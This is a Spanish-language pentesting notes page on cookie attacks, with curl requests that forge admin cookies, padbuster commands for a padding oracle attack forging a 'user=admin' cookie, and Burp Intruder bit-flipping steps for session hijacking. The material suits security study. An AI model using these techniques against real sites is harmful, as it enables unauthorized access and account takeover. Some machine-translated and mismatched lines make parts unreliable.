Cookie Hacking

El contenido de algunas cookies puede estar en texto sin formato, y es obvio lo que hacen. Tomemos, por ejemplo, si estas fueran las cookies configuradas después de un inicio de sesión exitoso:

Establecer-Cookie: login_in=true; Max-Edad=3600; Ruta=/
Establecer-Cookie: admin=false; Max-Edad=3600; Ruta=/

Vemos una cookie (logged_in), que parece controlar si el usuario está conectado o no, y otra (admin), que controla si el visitante tiene privilegios de administrador. Usando esta lógica, si tuviéramos que cambiar el contenido de las cookies y realizar una solicitud, podremos cambiar nuestros privilegios.

Estás pruebas las voy a realizar con curl:

Ejemplo

En esta primera petición no tenemos login entonces no tenemos cookie.

curl http://<ip>/

En esta segunda, veremos le especificamos que queremos estar logueados, como admin false.

curl -H "Cookie: logged_in=true; admin=false" http://<ip>/

Y aquí estariamos logeados como admin true.

curl -H "Cookie: logged_in=true; admin=true" http://<ip>/

Las cookies a veces pueden estar representadas como hash, estos son tipos de hash que podemos encontrarnos en las cookies.

Método hash
Output

md5

0a3b42068660154f8ca055e89b4d91e7

sha-256

e77f14a269b7bdd6dca1f647aec84c793486f26cb50ac80c705bc64c6859366a

sha-512

71ae4a70bf9946d7e8e90c896061d5c955b51d37f0ca0d0ab8f6461bb51014c95242b67030ab4ebc75e25f31546d01927a543afcfe66e88741ef4dfca8c19b85

sha1

3e81ec65075ef8471d31d28bafd3a6ea701881e0

Hay páginas como crackstation que podemos des encriptar los hashes.

Padding Oracle Attack

¿Qué es y cómo funciona?

En el modo CBC, el bloque cifrado anterior se usa como IV para XOR con el siguiente bloque:

Para descifrar CBC se realizan las operaciones opuestas:

¿Como se explota?

padbuster http://example.com/login.php<cookie> <numero de bytes(1,2,3…) -cookie “auth/PHPSESSID=<cookie>” # esto buscara la id que es vulnerable
padbuster http://example.com/login.php <cookie> <numero de bytes(1-8)> -cookie “auth/PHPSESSID=<cookie>” -encoding 0 -plaintext “user=admin” # buscara la cookie del usuario admin para asi hacer un cookie hijacking

Con BurpSuite

Sesión de registro

Cuando te vas a registrar en el campo username, si ponemos admin= o admin== nos logueamos automáticamente al usuario admin

Interceptar petición de tu panel iniciado, mandarlo al intruder, seleccionar cookie → Payloads→ Payload type → Bit Flipper Attack → Format of original data - Literal value (Select 1-8) → Start Attack.

Una vez conseguida la cookie, realizamos un cookie hijacking para iniciar sesión con la cookie robada.

Last updated